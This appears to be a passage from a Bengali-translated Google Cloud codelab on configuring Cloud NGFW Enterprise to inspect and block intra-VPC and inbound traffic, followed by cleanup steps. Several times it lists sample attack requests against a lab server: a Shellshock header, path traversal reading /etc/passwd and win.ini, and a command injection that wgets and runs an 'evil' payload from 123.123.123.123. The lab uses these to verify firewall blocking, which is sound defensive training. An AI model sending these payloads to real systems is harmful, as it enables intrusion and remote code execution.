curl $target_privateip --max-time 2

curl $target_nlbip --max-time 2

উভয় কার্ল অনুরোধের জন্য প্রত্যাশিত ফলাফল:

Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]

অভ্যন্তরীণ সার্ভার আইপি (পূর্ব-পশ্চিম / ইন্ট্রা-ভিপিসি ট্র্যাফিক) নমুনা আক্রমণ পাঠান। ওয়েব সার্ভারের সমস্ত অনুরোধের জবাব দেওয়া উচিত, নিশ্চিত করে যে সেখানে কোনও L7 পরিদর্শন/প্রতিরোধ নেই:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ক্লাউড NAT (উত্তর-দক্ষিণ ইনবাউন্ড ট্র্যাফিক) এর মাধ্যমে বহিরাগত সার্ভার আইপিতে নমুনা আক্রমণগুলি পুনরায় পাঠান, এবং একইভাবে ওয়েব সার্ভারের সমস্ত অনুরোধের জবাব দেওয়া উচিত:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

পাবলিক এবং প্রাইভেট আইপি উভয়ের জন্য প্রত্যাশিত ফলাফল:

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at [IP] Port 80</address>
</body></html>
Page on cloudngfw-[zone]-www in network cloudngfw-vpc zone [zone]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

ক্লাউড শেল-এ ফিরে যান এবং L7 পরিদর্শন সক্ষম করতে বিদ্যমান প্রবেশের নিয়মগুলি আপডেট করুন:

gcloud compute network-firewall-policies rules update 6000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

gcloud compute network-firewall-policies rules update 7000 \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --enable-logging \
   --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

ঐচ্ছিকভাবে, উভয়ই সফলভাবে আপডেট হয়েছে কিনা তা যাচাই করতে ফায়ারওয়াল নিয়মগুলি বর্ণনা করুন:

gcloud compute network-firewall-policies rules describe 6000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

প্রত্যাশিত আউটপুট:

---
action: apply_security_profile_group
description: allow ingress internal traffic from tagged clients
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: all
  srcIpRanges:
  - 10.0.0.0/24
priority: 800
ruleTupleCount: 4
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

নিয়ম 7000:

gcloud compute network-firewall-policies rules describe 7000 \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy

প্রত্যাশিত আউটপুট:

---
action: apply_security_profile_group
description: allow ingress external traffic to server
direction: INGRESS
disabled: false
enableLogging: true
kind: compute#firewallPolicyRule
match:
  layer4Configs:
  - ipProtocol: tcp
    ports:
    - '80'
  - ipProtocol: tcp
    ports:
    - '443'
  srcIpRanges:
  - [cloudnat-ip]
priority: 900
ruleTupleCount: 6
securityProfileGroup: //networksecurity.googleapis.com/organizations/[org-id]/locations/global/securityProfileGroups/cloudngfw-spg
targetSecureTags:
- name: tagValues/281484362719839
  state: EFFECTIVE

ক্লায়েন্ট ভিএম-এ ফিরে যান এবং অভ্যন্তরীণ সার্ভার আইপি (পূর্ব-পশ্চিম / ইন্ট্রা-ভিপিসি পরিদর্শন) তে নমুনা আক্রমণগুলি পুনরায় পাঠান:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_privateip/cgi-bin/test-critical -m 3

curl http://$target_privateip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_privateip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_privateip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

ক্লাউড NAT (উত্তর-দক্ষিণ ইনবাউন্ড পরিদর্শন) এর মাধ্যমে বহিরাগত সার্ভার আইপিতে নমুনা আক্রমণগুলি পুনরায় পাঠান:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

curl http://$target_nlbip/?item=../../../../WINNT/win.ini -m 3

curl "http://$target_nlbip/weblogin.cgi?username=admin' -m 3;cd /tmp;wget http://123.123.123.123/evil --tries 2 -T 3;sh evil;rm evil"

নীচের প্রত্যাশিত আউটপুট অনুযায়ী প্রথম আক্রমণগুলির জন্য কোনও প্রতিক্রিয়া পাওয়া যায়নি, এটি নিশ্চিত করে যে উচ্চ তীব্রতার আক্রমণগুলি এখন ব্লক করা হচ্ছে৷

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
curl: (28) Operation timed out after 3000 milliseconds with 0 bytes received
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
<hr>
<address>Apache/2.4.56 (Debian) Server at cloudngfw-[zone]-www.c.[project-id].internal Port 80</address>
</body></html>

লগগুলি যাচাই করতে নেটওয়ার্ক নিরাপত্তা > ক্লাউড কনসোলে হুমকিতে নেভিগেট করুন (আক্রমণগুলি এখনও প্রদর্শিত না হলে আপনাকে কয়েকবার রিফ্রেশ করতে হতে পারে)।

daa535fcc34873aa.png

আক্রমণগুলির মধ্যে একটি বেছে নিন এবং ডান দিকে "অডিট লগ দেখুন" এ ক্লিক করুন (আসালে ফিরে যেতে একটি নতুন ট্যাবে খুলুন)। বিস্তারিত দেখানোর জন্য আক্রমণ প্রসারিত করুন:

5f97cdef79e42eff.png

ঐচ্ছিকভাবে, নিচের প্রশ্নের সাথে লগ এক্সপ্লোরার ফিল্টারটি প্রতিস্থাপন করুন:

resource.type="networksecurity.googleapis.com/FirewallEndpoint"

থ্রেট লগ এন্ট্রি নীচের হিসাবে দেখা উচিত:

5ea9581a7eb694c5.png

ক্লাউড ফায়ারওয়াল আটকানো প্যাকেটগুলি নীচের লগ এক্সপ্লোরার ফিল্টার ব্যবহার করে যাচাই করা যেতে পারে (সমস্যা সমাধানের উদ্দেশ্যে সহায়ক):

jsonPayload.rule_details.action="APPLY_SECURITY_PROFILE_GROUP"

f3766ea8d66ddef8.png

ইন্টারনেট ট্র্যাফিক পরিদর্শন চালিয়ে যান (ঐচ্ছিক) বা SSH সেশন বন্ধ করুন এবং পরিষ্কার করার পদক্ষেপের জন্য পরবর্তী অধ্যায়ে যান।

[ঐচ্ছিক] ইন্টারনেট ট্রাফিক পরিদর্শন

পূর্ববর্তী বিভাগে যাচাই করা হয়েছে, এখন পর্যন্ত পরিদর্শিত প্রবাহগুলি হল ইন্ট্রা-সাবনেট/ভিপিসি (পূর্ব-পশ্চিম) এবং ইন্টারনেট থেকে আগত ট্র্যাফিক (উত্তর-দক্ষিণ ইনবাউন্ড)। ক্লাউড এনজিএফডব্লিউ এন্টারপ্রাইজকে ক্লাউড শেল ব্যবহার করে একটি নতুন প্রস্থান নিয়ম তৈরি করে সমস্ত ইন্টারনেট ট্রাফিক (উত্তর-দক্ষিণ আউটবাউন্ড) পরিদর্শন করার জন্য কনফিগার করা যেতে পারে:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

ক্লায়েন্ট ভিএম-এ ফিরে যান এবং বহিরাগত সার্ভার আইপিতে উচ্চ তীব্রতা আক্রমণ পুনরায় পাঠান:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

প্রত্যাশিত আউটপুট:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

লগগুলি যাচাই করতে ক্লাউড কনসোলের হুমকি ট্যাবে স্যুইচ করুন (আপনাকে কয়েকবার রিফ্রেশ করতে হতে পারে)। আক্রমণগুলি চিহ্নিত করা এবং আবার লগ করা উচিত ছিল, কিন্তু এখন উৎস আইপি অভ্যন্তরীণ কারণ একটি প্রস্থান নিয়ম প্রথমে ট্রিগার করা হচ্ছে:

36f8edf264dcddcd.png

SSH অধিবেশনটি বন্ধ করুন এবং পরিষ্কার করার পদক্ষেপগুলির জন্য পরবর্তী বিভাগে যান।

8. ক্লিন-আপ পদক্ষেপ

ক্লাউড NGFW এন্টারপ্রাইজ কম্পোনেন্ট ক্লিন-আপ

বিদ্যমান ক্লাউড NGFW এন্টারপ্রাইজ অ্যাসোসিয়েশনের তালিকা করুন:

gcloud network-security firewall-endpoint-associations list

ক্লাউড NGFW এন্টারপ্রাইজ অ্যাসোসিয়েশন মুছুন:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

বিদ্যমান ক্লাউড এনজিএফডাব্লু এন্টারপ্রাইজের শেষ পয়েন্ট তালিকাভুক্ত করুন:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ক্লাউড NGFW এন্টারপ্রাইজ এন্ডপয়েন্ট মুছুন, এতে প্রায় 20 মিনিট সময় লাগতে পারে:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

নিশ্চিত করুন যে ক্লাউড NGFW এন্টারপ্রাইজটি নীচের কমান্ডটি চালিয়ে মুছে ফেলা হয়েছে:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

নিরাপত্তা প্রোফাইল গ্রুপ এবং হুমকি প্রতিরোধ প্রোফাইল মুছুন:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

বেস সেটআপ ক্লিন-আপ

আপনি যদি বেস সংস্থানগুলি মুছতে পছন্দ করেন তবে পরবর্তী ধাপে এগিয়ে যান।

প্রয়োজনে পরিবেশের ভেরিয়েবল সংজ্ঞায়িত করুন। ক্লাউড শেল থেকে, নেটওয়ার্ক লোড ব্যালেন্সার উপাদানগুলি মুছুন:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

দৃষ্টান্তগুলি সরান:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

ঐচ্ছিকভাবে, ট্যাগঅ্যাডমিন এবং ট্যাগ ব্যবহারকারীর ভূমিকা পরিবর্তন করা হলে নীচের পদক্ষেপগুলি সম্পাদন করুন:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

ট্যাগ কী এবং মানগুলি সরান:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

ক্লাউড ফায়ারওয়াল নেটওয়ার্ক নীতি এবং অ্যাসোসিয়েশন মুছুন:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

ক্লাউড রাউটার এবং ক্লাউড NAT মুছুন:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

সংরক্ষিত IP ঠিকানা মুছুন:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

অবশেষে, সাবনেট এবং ভিপিসি নেটওয়ার্ক মুছুন:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. অভিনন্দন!

অভিনন্দন, আপনি সফলভাবে পূর্ব-পশ্চিম এবং উত্তর-দক্ষিণ পরিদর্শন কোডল্যাবের জন্য ক্লাউড NGFW এন্টারপ্রাইজ সম্পূর্ণ করেছেন।